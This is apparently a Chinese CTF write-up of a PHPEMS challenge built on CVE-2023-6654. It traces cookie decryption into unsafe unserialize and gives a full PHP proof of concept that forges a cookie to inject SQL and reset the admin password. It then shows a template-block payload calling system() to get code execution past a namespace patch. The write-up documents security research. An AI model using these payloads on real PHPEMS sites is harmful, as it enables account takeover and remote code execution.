西湖论剑2024初赛 数据安全 Cyan-1

题目是PHPEMS的无POC 1day,给了提示:CVE-2023-6654

PHPEMS 6.x/7.0的lib/session.cls.php组件中存在一个未知功能的关键性漏洞,该漏洞导致反序列化。攻击者可以远程发起攻击,并且已经向公众披露了利用该漏洞的攻击代码。该漏洞被赋予了标识符VDB-247357。

Unserialize

session.cls.php会对用户的每一次请求的cookie解码:

// session.cls.php
public function getSessionId()
{
    if(!$this->sessionid)
    {
        $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));
        if($cookie)
        {
            $this->sessionid = $cookie['sessionid'];
        }
    }
// ...
}

string.cls.php#encode:对称解密info并反序列化

public function decode($info)
{
    $key = CS;// 在config.inc.php设置了默认值
    $info = urldecode($info);
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])-ord($key[$p]));
    }
    $info = unserialize($info);
    return $info;
}

POP chain

一条可用的update注入的链:

session#destruct -> pepdo#exec

需要注意在编写POC的时候,session最好不要用\PHPEMS\ginkgo::make('session');创建,否则会导致无法序列化。

POC:

<?php

namespace PHPEMS;
error_reporting(E_ALL);
define('PEPATH', dirname(dirname(__FILE__) . '\\phpems'));
require_once "lib/init.cls.php";
require_once 'lib/config.inc.php';

class session
{
    public $G;
    public $sessionname = 'currentuser';
    public $sessionuser = false;
    public $sessionid;
    public $data;
}

$pdosql = \PHPEMS\ginkgo::make('pdosql');
$pdosql->tablepre = "x2_user set userpassword = 'e10adc3949ba59abbe56e057f20f883e' where username = 'peadmin'#";

$session = new \PHPEMS\session();
$session->db = \PHPEMS\ginkgo::make("pepdo");
$session->pdosql = $pdosql;

$cookie = array('sessionid' => 0, $session);

$strings = \PHPEMS\ginkgo::make('strings');
$current_user = urlencode($strings->encode($cookie));
echo $current_user;

设置请求cookie的exam_currentuser字段即可修改管理员密码为123456

RCE

参考

phpems代码审计 - 火线 Zone-安全攻防社区

但是题目的版本进行了修复

api.cls.php

elseif($block['blocktype'] == 4)
{
    $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));
    eval(' ?>'.$tp.'<?php
namespace PHPEMS; ');
}

这里用namespace结尾,由于php中namespace必须在开头,直接写的话会报错。再用一个namespace绕过即可

http://127.0.0.1:8077/index.php?content-master-blocks把注册协议类型改为模板模式,然后修改内容为

<?php namespace T;system("whoami");?>

点击注册页面即执行代码。

posted @ 2024-02-01 11:52  KingBridge  阅读(159)  评论(0编辑  收藏  举报